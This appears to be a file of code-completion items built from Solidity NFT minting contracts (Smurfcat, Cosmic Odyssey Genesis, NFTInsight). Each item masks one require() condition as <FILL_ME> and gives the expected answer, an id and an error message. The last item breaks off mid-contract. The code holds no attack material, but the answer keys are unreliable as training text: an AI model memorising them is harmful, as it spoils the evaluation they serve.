mint(address _account, bytes32[] calldata _proof) external payable { require(msg.value == MINT_COST); require(!hasPaidMinted(_account)); require(_verify(_proof, keccak256(abi.encodePacked(_account)), PAID_MERKLE_ROOT)); info.paidSupply++; require(<FILL_ME>) info.users[_account].paidMinted = true; _mint(_account); emit PaidClaim(_account); } function claim(address _account, uint256 _tokens, bytes32[] calldata _proof) external { } function approve(address _approved, uint256 _tokenId) external { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { } function metadata() external view returns (address) { } function name() external view returns (string memory) { } function symbol() external view returns (string memory) { } function baseURI() external view returns (string memory) { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function owner() public view returns (address) { } function totalSupply() public view returns (uint256) { } function openMintEnabled() public view returns (bool) { } function paidSupply() public view returns (uint256) { } function hasFreeMinted(address _user) public view returns (bool) { } function hasPaidMinted(address _user) public view returns (bool) { } function balanceOf(address _owner) public view returns (uint256) { } function ownerOf(uint256 _tokenId) public view returns (address) { } function getApproved(uint256 _tokenId) public view returns (address) { } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { } function _mint(address _receiver) internal { } function _transfer(address _from, address _to, uint256 _tokenId) internal { } function _verify(bytes32[] memory _proof, bytes32 _leaf, bytes32 _merkleRoot) internal pure returns (bool) { } }
paidSupply()<=PAID_SUPPLY
436,458
paidSupply()<=PAID_SUPPLY
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface Receiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } contract Metadata { string public name = "Descendants of Smurfcat"; string public symbol = "DoS"; string public baseURI = "https://arweave.net/-mckyPjOnwlkTN19bGRRkqhl6Y-OqLDy3mBjv9ssV_c/"; address public owner; constructor() { } function setBaseURI(string memory _baseURI) external { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function _uint2str(uint256 _value) internal pure returns (string memory) { } } contract smurfcatNFT { uint256 constant public MAX_SUPPLY = 3333; uint256 constant public MINT_COST = 0.01 ether; uint256 constant private PAID_SUPPLY = 300; uint256 constant private DEV_TOKENS = 33; uint256 constant private OPEN_MINT_DELAY = 12 hours; bytes32 constant private FREE_MERKLE_ROOT = 0x97065a5c49b1664430261a060b4d4e90253022606b49142c350dc95a2cf86958; bytes32 constant private PAID_MERKLE_ROOT = 0x943cd45d71c324d5ade31d70c06a95a2c6d32447b01934157edd060721453f4c; struct User { bool freeMinted; bool paidMinted; uint240 balance; mapping(address => bool) approved; } struct Token { address owner; address approved; } struct Info { uint128 totalSupply; uint128 paidSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; uint256 startTime; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId); event FreeClaim(address indexed account, uint256 tokens); event PaidClaim(address indexed account); event BatchMetadataUpdate(uint256 from, uint256 to); modifier _onlyOwner() { } constructor() { } function setOwner(address _owner) external _onlyOwner { } function setMetadata(Metadata _metadata) external _onlyOwner { } function ownerWithdraw() external _onlyOwner { } function forceUpdateAllMetadata() external _onlyOwner { } receive() external payable { } function mint() external payable { } function mintMany(uint256 _tokens) public payable { } function mint(address _account, bytes32[] calldata _proof) external payable { } function claim(address _account, uint256 _tokens, bytes32[] calldata _proof) external { require(<FILL_ME>) require(_verify(_proof, keccak256(abi.encodePacked(_account, _tokens)), FREE_MERKLE_ROOT)); info.users[_account].freeMinted = true; for (uint256 i = 0; i < _tokens; i++) { _mint(_account); } emit FreeClaim(_account, _tokens); } function approve(address _approved, uint256 _tokenId) external { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { } function metadata() external view returns (address) { } function name() external view returns (string memory) { } function symbol() external view returns (string memory) { } function baseURI() external view returns (string memory) { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function owner() public view returns (address) { } function totalSupply() public view returns (uint256) { } function openMintEnabled() public view returns (bool) { } function paidSupply() public view returns (uint256) { } function hasFreeMinted(address _user) public view returns (bool) { } function hasPaidMinted(address _user) public view returns (bool) { } function balanceOf(address _owner) public view returns (uint256) { } function ownerOf(uint256 _tokenId) public view returns (address) { } function getApproved(uint256 _tokenId) public view returns (address) { } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { } function _mint(address _receiver) internal { } function _transfer(address _from, address _to, uint256 _tokenId) internal { } function _verify(bytes32[] memory _proof, bytes32 _leaf, bytes32 _merkleRoot) internal pure returns (bool) { } }
!hasFreeMinted(_account)
436,458
!hasFreeMinted(_account)
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface Receiver { function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns (bytes4); } contract Metadata { string public name = "Descendants of Smurfcat"; string public symbol = "DoS"; string public baseURI = "https://arweave.net/-mckyPjOnwlkTN19bGRRkqhl6Y-OqLDy3mBjv9ssV_c/"; address public owner; constructor() { } function setBaseURI(string memory _baseURI) external { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function _uint2str(uint256 _value) internal pure returns (string memory) { } } contract smurfcatNFT { uint256 constant public MAX_SUPPLY = 3333; uint256 constant public MINT_COST = 0.01 ether; uint256 constant private PAID_SUPPLY = 300; uint256 constant private DEV_TOKENS = 33; uint256 constant private OPEN_MINT_DELAY = 12 hours; bytes32 constant private FREE_MERKLE_ROOT = 0x97065a5c49b1664430261a060b4d4e90253022606b49142c350dc95a2cf86958; bytes32 constant private PAID_MERKLE_ROOT = 0x943cd45d71c324d5ade31d70c06a95a2c6d32447b01934157edd060721453f4c; struct User { bool freeMinted; bool paidMinted; uint240 balance; mapping(address => bool) approved; } struct Token { address owner; address approved; } struct Info { uint128 totalSupply; uint128 paidSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; uint256 startTime; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId); event FreeClaim(address indexed account, uint256 tokens); event PaidClaim(address indexed account); event BatchMetadataUpdate(uint256 from, uint256 to); modifier _onlyOwner() { } constructor() { } function setOwner(address _owner) external _onlyOwner { } function setMetadata(Metadata _metadata) external _onlyOwner { } function ownerWithdraw() external _onlyOwner { } function forceUpdateAllMetadata() external _onlyOwner { } receive() external payable { } function mint() external payable { } function mintMany(uint256 _tokens) public payable { } function mint(address _account, bytes32[] calldata _proof) external payable { } function claim(address _account, uint256 _tokens, bytes32[] calldata _proof) external { require(!hasFreeMinted(_account)); require(<FILL_ME>) info.users[_account].freeMinted = true; for (uint256 i = 0; i < _tokens; i++) { _mint(_account); } emit FreeClaim(_account, _tokens); } function approve(address _approved, uint256 _tokenId) external { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { } function metadata() external view returns (address) { } function name() external view returns (string memory) { } function symbol() external view returns (string memory) { } function baseURI() external view returns (string memory) { } function tokenURI(uint256 _tokenId) external view returns (string memory) { } function owner() public view returns (address) { } function totalSupply() public view returns (uint256) { } function openMintEnabled() public view returns (bool) { } function paidSupply() public view returns (uint256) { } function hasFreeMinted(address _user) public view returns (bool) { } function hasPaidMinted(address _user) public view returns (bool) { } function balanceOf(address _owner) public view returns (uint256) { } function ownerOf(uint256 _tokenId) public view returns (address) { } function getApproved(uint256 _tokenId) public view returns (address) { } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { } function _mint(address _receiver) internal { } function _transfer(address _from, address _to, uint256 _tokenId) internal { } function _verify(bytes32[] memory _proof, bytes32 _leaf, bytes32 _merkleRoot) internal pure returns (bool) { } }
_verify(_proof,keccak256(abi.encodePacked(_account,_tokens)),FREE_MERKLE_ROOT)
436,458
_verify(_proof,keccak256(abi.encodePacked(_account,_tokens)),FREE_MERKLE_ROOT)
"invalid mint quantity, cant mint that many"
/* Κανείς δεν με λένε η μητέρα, ο πατέρας και όλοι οι σύντροφοί μου Odysseus could not get to Greece without a ship. https://cosmicodyssey.tech twitter: @COGamesETH telegram : https://t.me/CosmicOdysseyEntry r/CosmicOdysseyGames www.tiktok.com/@cosmicodysseygames https://youtube.com/@CosmicOdysseyGames https://green-careful-capybara-694.mypinata.cloud/ipfs/QmcugRY9n5JZtbEn9yMAhieFxzkYjeZYn6qGEmLUbvyqmW/ */ pragma solidity =0.8.15; contract CosmicOdysseyGenesis is ERC721, Ownable { //Libraries using SafeMath for uint256; using Strings for uint256; using Counters for Counters.Counter; using SafeERC20 for IERC20; Counters.Counter private _supply; //Variables public bool public pubMintActive = false; uint256 public PUB_MINT_PRICE; //Variables Private string private baseURI; string private baseExt = ".json"; bool public revealed = false; bool public baseUriLock = false; string private notRevealedUri; bool private _locked = false; // for re-entrancy guard //Constants uint256 private PUB_MAX_PER_WALLET = 3; // 3/wallet (uses < to save gas) // Total supply uint256 public constant MAX_SUPPLY = 500; //events event Minted(address to, uint256 quantity); constructor( string memory _initBaseURI, string memory _initNotRevealedUri, uint256 PUB_PRICE ) ERC721("Cosmic Odyssey Genesis", "COSMICNFT") { } // Public mint - only publicly available mint function function publicMint(uint256 _quantity) external payable nonReentrant { require(pubMintActive, "Public sale is closed at the moment."); address _to = msg.sender; require(_quantity > 0, "Invalid mint quantity."); require(<FILL_ME>) require( msg.value == (PUB_MINT_PRICE.mul(_quantity)), "Must send exact amount to mint, either increase or decrease eth amount" ); mint(_to, _quantity); } // Mint an NFT internal function function mint(address _to, uint256 _quantity) private { } function airDropMint(address _to, uint256 _quantity) external onlyOwner { } // Get total supply function totalSupply() public view returns (uint256) { } // Set Mint price function setPrice(uint256 PUB_PRICE) public onlyOwner { } //Set Max Wallet function setMaxNFTSPerWallet(uint256 PUB_MAX_WALLET) public onlyOwner { } // Toggle public sales activity function togglePubMintActive() public onlyOwner { } // For locking Uri changing once the collection integrity is confirmed. function LockUriChange() public onlyOwner { } // Base URI function _baseURI() internal view virtual override returns (string memory) { } // Set base URI function setBaseURI(string memory _newBaseURI) public onlyOwner { } // Get metadata URI function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } // Activate reveal function setReveal() public onlyOwner { } // Set not revealed URI function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } // Withdraw balance function withdraw() external onlyOwner { } // Receive any funds sent to the contract receive() external payable {} // Reentrancy guard modifier modifier nonReentrant() { } }
balanceOf(msg.sender).add(_quantity)<=PUB_MAX_PER_WALLET,"invalid mint quantity, cant mint that many"
436,533
balanceOf(msg.sender).add(_quantity)<=PUB_MAX_PER_WALLET
"Must send exact amount to mint, either increase or decrease eth amount"
/* Κανείς δεν με λένε η μητέρα, ο πατέρας και όλοι οι σύντροφοί μου Odysseus could not get to Greece without a ship. https://cosmicodyssey.tech twitter: @COGamesETH telegram : https://t.me/CosmicOdysseyEntry r/CosmicOdysseyGames www.tiktok.com/@cosmicodysseygames https://youtube.com/@CosmicOdysseyGames https://green-careful-capybara-694.mypinata.cloud/ipfs/QmcugRY9n5JZtbEn9yMAhieFxzkYjeZYn6qGEmLUbvyqmW/ */ pragma solidity =0.8.15; contract CosmicOdysseyGenesis is ERC721, Ownable { //Libraries using SafeMath for uint256; using Strings for uint256; using Counters for Counters.Counter; using SafeERC20 for IERC20; Counters.Counter private _supply; //Variables public bool public pubMintActive = false; uint256 public PUB_MINT_PRICE; //Variables Private string private baseURI; string private baseExt = ".json"; bool public revealed = false; bool public baseUriLock = false; string private notRevealedUri; bool private _locked = false; // for re-entrancy guard //Constants uint256 private PUB_MAX_PER_WALLET = 3; // 3/wallet (uses < to save gas) // Total supply uint256 public constant MAX_SUPPLY = 500; //events event Minted(address to, uint256 quantity); constructor( string memory _initBaseURI, string memory _initNotRevealedUri, uint256 PUB_PRICE ) ERC721("Cosmic Odyssey Genesis", "COSMICNFT") { } // Public mint - only publicly available mint function function publicMint(uint256 _quantity) external payable nonReentrant { require(pubMintActive, "Public sale is closed at the moment."); address _to = msg.sender; require(_quantity > 0, "Invalid mint quantity."); require( balanceOf(msg.sender).add(_quantity) <= PUB_MAX_PER_WALLET, "invalid mint quantity, cant mint that many" ); require(<FILL_ME>) mint(_to, _quantity); } // Mint an NFT internal function function mint(address _to, uint256 _quantity) private { } function airDropMint(address _to, uint256 _quantity) external onlyOwner { } // Get total supply function totalSupply() public view returns (uint256) { } // Set Mint price function setPrice(uint256 PUB_PRICE) public onlyOwner { } //Set Max Wallet function setMaxNFTSPerWallet(uint256 PUB_MAX_WALLET) public onlyOwner { } // Toggle public sales activity function togglePubMintActive() public onlyOwner { } // For locking Uri changing once the collection integrity is confirmed. function LockUriChange() public onlyOwner { } // Base URI function _baseURI() internal view virtual override returns (string memory) { } // Set base URI function setBaseURI(string memory _newBaseURI) public onlyOwner { } // Get metadata URI function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } // Activate reveal function setReveal() public onlyOwner { } // Set not revealed URI function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } // Withdraw balance function withdraw() external onlyOwner { } // Receive any funds sent to the contract receive() external payable {} // Reentrancy guard modifier modifier nonReentrant() { } }
msg.value==(PUB_MINT_PRICE.mul(_quantity)),"Must send exact amount to mint, either increase or decrease eth amount"
436,533
msg.value==(PUB_MINT_PRICE.mul(_quantity))
"changing the uri has been locked for security purposes"
/* Κανείς δεν με λένε η μητέρα, ο πατέρας και όλοι οι σύντροφοί μου Odysseus could not get to Greece without a ship. https://cosmicodyssey.tech twitter: @COGamesETH telegram : https://t.me/CosmicOdysseyEntry r/CosmicOdysseyGames www.tiktok.com/@cosmicodysseygames https://youtube.com/@CosmicOdysseyGames https://green-careful-capybara-694.mypinata.cloud/ipfs/QmcugRY9n5JZtbEn9yMAhieFxzkYjeZYn6qGEmLUbvyqmW/ */ pragma solidity =0.8.15; contract CosmicOdysseyGenesis is ERC721, Ownable { //Libraries using SafeMath for uint256; using Strings for uint256; using Counters for Counters.Counter; using SafeERC20 for IERC20; Counters.Counter private _supply; //Variables public bool public pubMintActive = false; uint256 public PUB_MINT_PRICE; //Variables Private string private baseURI; string private baseExt = ".json"; bool public revealed = false; bool public baseUriLock = false; string private notRevealedUri; bool private _locked = false; // for re-entrancy guard //Constants uint256 private PUB_MAX_PER_WALLET = 3; // 3/wallet (uses < to save gas) // Total supply uint256 public constant MAX_SUPPLY = 500; //events event Minted(address to, uint256 quantity); constructor( string memory _initBaseURI, string memory _initNotRevealedUri, uint256 PUB_PRICE ) ERC721("Cosmic Odyssey Genesis", "COSMICNFT") { } // Public mint - only publicly available mint function function publicMint(uint256 _quantity) external payable nonReentrant { } // Mint an NFT internal function function mint(address _to, uint256 _quantity) private { } function airDropMint(address _to, uint256 _quantity) external onlyOwner { } // Get total supply function totalSupply() public view returns (uint256) { } // Set Mint price function setPrice(uint256 PUB_PRICE) public onlyOwner { } //Set Max Wallet function setMaxNFTSPerWallet(uint256 PUB_MAX_WALLET) public onlyOwner { } // Toggle public sales activity function togglePubMintActive() public onlyOwner { } // For locking Uri changing once the collection integrity is confirmed. function LockUriChange() public onlyOwner { } // Base URI function _baseURI() internal view virtual override returns (string memory) { } // Set base URI function setBaseURI(string memory _newBaseURI) public onlyOwner { require(<FILL_ME>) baseURI = _newBaseURI; } // Get metadata URI function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } // Activate reveal function setReveal() public onlyOwner { } // Set not revealed URI function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } // Withdraw balance function withdraw() external onlyOwner { } // Receive any funds sent to the contract receive() external payable {} // Reentrancy guard modifier modifier nonReentrant() { } }
!baseUriLock,"changing the uri has been locked for security purposes"
436,533
!baseUriLock
"You are not in the Whitelist."
pragma solidity >= 0.0.5 < 0.8.16; contract NFTInsight is ERC721A, Ownable, DefaultOperatorFilterer { using Strings for uint256; bytes32 public root = ""; uint256 public MAX_SUPPLY = 4000; uint256 public MINT_PER_WALLET = 1; uint256 public WL_MINT_PRICE = 0.065 ether; uint256 public PUBLIC_MINT_PRICE = 0.09 ether; uint256 public OWNER_MINT_PRICE = 0.00 ether; uint256 public stage = 0; address public receivingWallet = 0x0Bd2364b44dB9c1AbEA219d0d4AfF8Dc75e41506; string public tokenBaseUrl = "https://bafybeiehtkmrfwztilo7etxyfikc6vpfgniahdzu5z2puq4yndhhdpuuti.ipfs.w3s.link/metadata/"; string public tokenUrlSuffix = ".json"; constructor () ERC721A("NFTInsight Lifetime Pass", "NFTInsight") { } function _baseURI() internal view virtual override returns (string memory) { } function isValid(bytes32[] memory _proof, bytes32 _leaf) public view returns (bool) { } function _suffix() internal view virtual returns (string memory) { } function setReceiving(address _receivingWallet) external onlyOwner { } function setRoot(bytes32 _root) external onlyOwner { } function setStage(uint256 _stage) external onlyOwner { } function setMintPrice(uint256 _mintPrice) external onlyOwner { } function setWLPrice(uint256 _mintPrice) external onlyOwner { } function setOPPrice(uint256 _mintPrice) external onlyOwner { } function setmaxSupply(uint256 _maxSupply) external onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function mint(uint256 _numTokens) external payable onlyOrigin mintCompliance(_numTokens) { } function WhitelistMint(uint256 _numTokens, bytes32[] memory _proof) external payable onlyOrigin wlmintCompliance(_numTokens) { require(<FILL_ME>) _safeMint(msg.sender, _numTokens); (bool os, ) = receivingWallet.call{value: msg.value}(""); require(os); } function ownerMint(address _to, uint256 _numTokens) external payable onlyOrigin ownermintCompliance(_numTokens, _to) onlyOwner { } function setTokenBaseUrl(string memory _tokenBaseUrl) public onlyOwner { } function setTokenSuffix(string memory _tokenUrlSuffix) public onlyOwner { } function transferETH(address payable _to) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } // - modifiers modifier onlyOrigin() { } modifier wlmintCompliance(uint256 _numTokens) { } modifier mintCompliance(uint256 _numTokens) { } modifier ownermintCompliance(uint256 _numTokens, address to) { } }
isValid(_proof,keccak256(abi.encodePacked(msg.sender))),"You are not in the Whitelist."
436,541
isValid(_proof,keccak256(abi.encodePacked(msg.sender)))
"Value supplied is incorrect"
pragma solidity >= 0.0.5 < 0.8.16; contract NFTInsight is ERC721A, Ownable, DefaultOperatorFilterer { using Strings for uint256; bytes32 public root = ""; uint256 public MAX_SUPPLY = 4000; uint256 public MINT_PER_WALLET = 1; uint256 public WL_MINT_PRICE = 0.065 ether; uint256 public PUBLIC_MINT_PRICE = 0.09 ether; uint256 public OWNER_MINT_PRICE = 0.00 ether; uint256 public stage = 0; address public receivingWallet = 0x0Bd2364b44dB9c1AbEA219d0d4AfF8Dc75e41506; string public tokenBaseUrl = "https://bafybeiehtkmrfwztilo7etxyfikc6vpfgniahdzu5z2puq4yndhhdpuuti.ipfs.w3s.link/metadata/"; string public tokenUrlSuffix = ".json"; constructor () ERC721A("NFTInsight Lifetime Pass", "NFTInsight") { } function _baseURI() internal view virtual override returns (string memory) { } function isValid(bytes32[] memory _proof, bytes32 _leaf) public view returns (bool) { } function _suffix() internal view virtual returns (string memory) { } function setReceiving(address _receivingWallet) external onlyOwner { } function setRoot(bytes32 _root) external onlyOwner { } function setStage(uint256 _stage) external onlyOwner { } function setMintPrice(uint256 _mintPrice) external onlyOwner { } function setWLPrice(uint256 _mintPrice) external onlyOwner { } function setOPPrice(uint256 _mintPrice) external onlyOwner { } function setmaxSupply(uint256 _maxSupply) external onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function mint(uint256 _numTokens) external payable onlyOrigin mintCompliance(_numTokens) { } function WhitelistMint(uint256 _numTokens, bytes32[] memory _proof) external payable onlyOrigin wlmintCompliance(_numTokens) { } function ownerMint(address _to, uint256 _numTokens) external payable onlyOrigin ownermintCompliance(_numTokens, _to) onlyOwner { } function setTokenBaseUrl(string memory _tokenBaseUrl) public onlyOwner { } function setTokenSuffix(string memory _tokenUrlSuffix) public onlyOwner { } function transferETH(address payable _to) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } // - modifiers modifier onlyOrigin() { } modifier wlmintCompliance(uint256 _numTokens) { require(stage == 1, "Whitelist is paused."); require(_numTokens > 0, "You must mint at least one token."); require(<FILL_ME>) require(totalSupply() + _numTokens < MAX_SUPPLY, "Max supply exceeded!"); require(_numberMinted(msg.sender) + _numTokens < MINT_PER_WALLET + 1,"You are exceeding your minting limit"); _; } modifier mintCompliance(uint256 _numTokens) { } modifier ownermintCompliance(uint256 _numTokens, address to) { } }
msg.value==(WL_MINT_PRICE*_numTokens),"Value supplied is incorrect"
436,541
msg.value==(WL_MINT_PRICE*_numTokens)
"Max supply exceeded!"
pragma solidity >= 0.0.5 < 0.8.16; contract NFTInsight is ERC721A, Ownable, DefaultOperatorFilterer { using Strings for uint256; bytes32 public root = ""; uint256 public MAX_SUPPLY = 4000; uint256 public MINT_PER_WALLET = 1; uint256 public WL_MINT_PRICE = 0.065 ether; uint256 public PUBLIC_MINT_PRICE = 0.09 ether; uint256 public OWNER_MINT_PRICE = 0.00 ether; uint256 public stage = 0; address public receivingWallet = 0x0Bd2364b44dB9c1AbEA219d0d4AfF8Dc75e41506; string public tokenBaseUrl = "https://bafybeiehtkmrfwztilo7etxyfikc6vpfgniahdzu5z2puq4yndhhdpuuti.ipfs.w3s.link/metadata/"; string public tokenUrlSuffix = ".json"; constructor () ERC721A("NFTInsight Lifetime Pass", "NFTInsight") { } function _baseURI() internal view virtual override returns (string memory) { } function isValid(bytes32[] memory _proof, bytes32 _leaf) public view returns (bool) { } function _suffix() internal view virtual returns (string memory) { } function setReceiving(address _receivingWallet) external onlyOwner { } function setRoot(bytes32 _root) external onlyOwner { } function setStage(uint256 _stage) external onlyOwner { } function setMintPrice(uint256 _mintPrice) external onlyOwner { } function setWLPrice(uint256 _mintPrice) external onlyOwner { } function setOPPrice(uint256 _mintPrice) external onlyOwner { } function setmaxSupply(uint256 _maxSupply) external onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function mint(uint256 _numTokens) external payable onlyOrigin mintCompliance(_numTokens) { } function WhitelistMint(uint256 _numTokens, bytes32[] memory _proof) external payable onlyOrigin wlmintCompliance(_numTokens) { } function ownerMint(address _to, uint256 _numTokens) external payable onlyOrigin ownermintCompliance(_numTokens, _to) onlyOwner { } function setTokenBaseUrl(string memory _tokenBaseUrl) public onlyOwner { } function setTokenSuffix(string memory _tokenUrlSuffix) public onlyOwner { } function transferETH(address payable _to) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } // - modifiers modifier onlyOrigin() { } modifier wlmintCompliance(uint256 _numTokens) { require(stage == 1, "Whitelist is paused."); require(_numTokens > 0, "You must mint at least one token."); require(msg.value == (WL_MINT_PRICE * _numTokens), "Value supplied is incorrect"); require(<FILL_ME>) require(_numberMinted(msg.sender) + _numTokens < MINT_PER_WALLET + 1,"You are exceeding your minting limit"); _; } modifier mintCompliance(uint256 _numTokens) { } modifier ownermintCompliance(uint256 _numTokens, address to) { } }
totalSupply()+_numTokens<MAX_SUPPLY,"Max supply exceeded!"
436,541
totalSupply()+_numTokens<MAX_SUPPLY
"You are exceeding your minting limit"
pragma solidity >= 0.0.5 < 0.8.16; contract NFTInsight is ERC721A, Ownable, DefaultOperatorFilterer { using Strings for uint256; bytes32 public root = ""; uint256 public MAX_SUPPLY = 4000; uint256 public MINT_PER_WALLET = 1; uint256 public WL_MINT_PRICE = 0.065 ether; uint256 public PUBLIC_MINT_PRICE = 0.09 ether; uint256 public OWNER_MINT_PRICE = 0.00 ether; uint256 public stage = 0; address public receivingWallet = 0x0Bd2364b44dB9c1AbEA219d0d4AfF8Dc75e41506; string public tokenBaseUrl = "https://bafybeiehtkmrfwztilo7etxyfikc6vpfgniahdzu5z2puq4yndhhdpuuti.ipfs.w3s.link/metadata/"; string public tokenUrlSuffix = ".json"; constructor () ERC721A("NFTInsight Lifetime Pass", "NFTInsight") { } function _baseURI() internal view virtual override returns (string memory) { } function isValid(bytes32[] memory _proof, bytes32 _leaf) public view returns (bool) { } function _suffix() internal view virtual returns (string memory) { } function setReceiving(address _receivingWallet) external onlyOwner { } function setRoot(bytes32 _root) external onlyOwner { } function setStage(uint256 _stage) external onlyOwner { } function setMintPrice(uint256 _mintPrice) external onlyOwner { } function setWLPrice(uint256 _mintPrice) external onlyOwner { } function setOPPrice(uint256 _mintPrice) external onlyOwner { } function setmaxSupply(uint256 _maxSupply) external onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function mint(uint256 _numTokens) external payable onlyOrigin mintCompliance(_numTokens) { } function WhitelistMint(uint256 _numTokens, bytes32[] memory _proof) external payable onlyOrigin wlmintCompliance(_numTokens) { } function ownerMint(address _to, uint256 _numTokens) external payable onlyOrigin ownermintCompliance(_numTokens, _to) onlyOwner { } function setTokenBaseUrl(string memory _tokenBaseUrl) public onlyOwner { } function setTokenSuffix(string memory _tokenUrlSuffix) public onlyOwner { } function transferETH(address payable _to) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) { } function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) { } // - modifiers modifier onlyOrigin() { } modifier wlmintCompliance(uint256 _numTokens) { require(stage == 1, "Whitelist is paused."); require(_numTokens > 0, "You must mint at least one token."); require(msg.value == (WL_MINT_PRICE * _numTokens), "Value supplied is incorrect"); require(totalSupply() + _numTokens < MAX_SUPPLY, "Max supply exceeded!"); require(<FILL_ME>) _; } modifier mintCompliance(uint256 _numTokens) { } modifier ownermintCompliance(uint256 _numTokens, address to) { } }
_numberMinted(msg.sender)+_numTokens<MINT_PER_WALLET+1,"You are exceeding your minting limit"
436,541
_numberMinted(msg.sender)+_numTokens<MINT_PER_WALLET+1
"Value supplied is incorrect"
pragma solidity >= 0.0.5 < 0.8.16; contract NFTInsight is ERC721A, Ownable, DefaultOperatorFilterer { using Strings for uint256; bytes32 public root = ""; uint256 public MAX_SUPPLY = 4000; uint256 public MINT_PER_WALLET = 1; uint256 public WL_MINT_PRICE = 0.065 ether; uint256 public PUBLIC_MINT_PRICE = 0.09 ether; uint256 public OWNER_MINT_PRICE = 0.00 ether; uint256 public stage = 0; address public receivingWallet = 0x0Bd2364b44dB9c1AbEA219d0d4AfF8Dc75e41506; string public tokenBaseUrl = "https://bafybeiehtkmrfwztilo7etxyfikc6vpfgniahdzu5z2puq4yndhhdpuuti.ipfs.w3s.link/metadata/"; string public tokenUrlSuffix = ".json"; constructor () ERC721A("NFTInsight Lifetime Pass", "NFTInsight") { } function _baseURI() internal view virtual override returns (string memory) { } function isValid(bytes32[] memory _proof, bytes32 _leaf) public view returns (bool) { } function _suffix() internal view virtual returns (string memory) { } function setReceiving(address _receivingWallet) external onlyOwner { } function setRoot(bytes32 _root) external onlyOwner { } function setStage(uint256 _stage) external onlyOwner { } function setMintPrice(uint256 _mintPrice) external onlyOwner { } function setWLPrice(uint256 _mintPrice) external onlyOwner { } function setOPPrice(uint256 _mintPrice) external onlyOwner { } function setmaxSupply(uint256 _maxSupply) external onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) { } function mint(uint256 _numTokens) external payable onlyOrigin mintCompliance(_numTokens) { } function WhitelistMint(uint256 _numTokens, bytes32[] memory _proof) external payable onlyOrigin wlmintCompliance(_numTokens) { } function ownerMint(address _to, uint256 _numTokens) external payable onlyOrigin ownermintCompliance(_numTokens, _to) onlyOwner { } function setTokenBaseUrl(string memory _tokenBaseUrl) public onlyOwner { } function setTokenSuffix(string memory _tokenUrlSuffix) public onlyOwner { } function transferETH(address payable _to) external onlyOwner { } function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function approve(address operator, uint256 tokenId) public override 